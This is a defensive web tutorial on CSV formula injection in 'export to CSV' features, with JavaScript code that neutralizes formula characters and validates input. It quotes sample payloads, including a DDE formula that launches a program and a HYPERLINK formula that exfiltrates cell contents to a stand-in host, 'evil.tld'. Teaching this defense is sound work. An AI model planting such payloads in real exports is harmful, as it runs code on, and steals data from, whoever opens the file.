Is CSV injection still a real risk?

Yes. The vulnerable code is usually an innocent-looking 'export to CSV' feature, and the victim is whoever opens the file — frequently an admin. Spreadsheet apps still evaluate formulas from CSV by default, so the risk persists wherever user input reaches an export.

How do I prevent CSV injection?

Prefix any cell starting with =, +, -, @, tab, or carriage return with a single quote so it is treated as text, and quote/escape fields per RFC 4180. Validate input at the boundary too, since fields like usernames should never legitimately begin with a formula character.

What Is CSV Injection — and How to Stop It in Your Export Feature

Q: What is CSV injection?

CSV injection (also called formula injection) happens when untrusted text is written into a CSV file and later opened in a spreadsheet. If a cell starts with =, +, -, or @, Excel and Google Sheets execute it as a formula — which can run programs, exfiltrate other cells, or trigger malicious links.

A team adds a tidy little feature: admins can export the user list to CSV. Months later, an admin opens the export and their machine launches a program they never approved. No server was hacked. The payload was a user's display name — and the spreadsheet ran it.

That's CSV injection, and it hides in one of the most boring features you can build.

How a formula ends up in your export

Spreadsheets treat any cell that begins with =, +, -, or @ as a formula. A CSV file is just text, so when your app writes a user-supplied value into a cell and someone opens the file in Excel or Google Sheets, the app happily evaluates it.

Type a payload below and watch what the spreadsheet does with it — then flip on sanitization:

A user sets their display name — an admin later exports the list to CSV

Display name (attacker-controlled)

Sanitize on export (prefix risky cells with ')

users-export.csv

id,display_name
1,=1+1

⚠ Spreadsheet executes the formula

Evaluates as a formula (e.g. =1+1 → 2) instead of showing as text.

The danger isn't arithmetic like =1+1. Real payloads abuse spreadsheet features:

=1+1                                  → proof the cell is executed, not shown
=cmd|'/c calc'!A1                     → DDE: launches an external program
=HYPERLINK("https://evil.tld?c="&A1,"Prize")  → exfiltrates another cell on click

The attacker only ever supplies a field value. The victim is whoever opens the export — and that's usually someone with admin rights.

Why escaping alone doesn't save you

People reach for RFC 4180 quoting and assume they're done:

// Correct CSV quoting — but NOT a fix for injection
const field = '"' + value.replace(/"/g, '""') + '"';

Quoting makes the CSV parse correctly. It does nothing to stop the spreadsheet from evaluating =cmd|... once the quotes are stripped on open. You need to neutralize the formula trigger itself.

The fix: neutralize the leading character

Prefix any value that starts with a formula character with a single quote, which forces the spreadsheet to treat the whole cell as text:

function safeCell(value) {
  // Excel/Sheets treat = + - @ TAB CR as formula starts
  if (/^[=+\-@\t\r]/.test(value)) {
    return "'" + value;   // leading quote → literal text
  }
  return value;
}
 
// Combine with RFC 4180 quoting for a correct AND safe field:
function csvField(value) {
  const v = safeCell(String(value));
  return /[",\n]/.test(v) ? '"' + v.replace(/"/g, '""') + '"' : v;
}

Layer two more defenses on top:

Validate at the boundary. A display name or username should never start with =, +, -, or @. Reject or strip it on input so the bad value never reaches your database, not just your export.
Set the right expectations on open. If you control the consuming spreadsheet, importing as text (rather than auto-detecting formulas) avoids evaluation entirely.

The takeaway

CSV injection is a reminder that "output" is an attack surface. Your server can be flawless while the vulnerability lives in another program — the spreadsheet — that runs your data later. Treat every exported cell as untrusted, neutralize formula triggers, and validate input where it enters.

Want to feel it rather than read it? The interactive simulation lets you exploit a vulnerable export and then watch your own fix shut it down.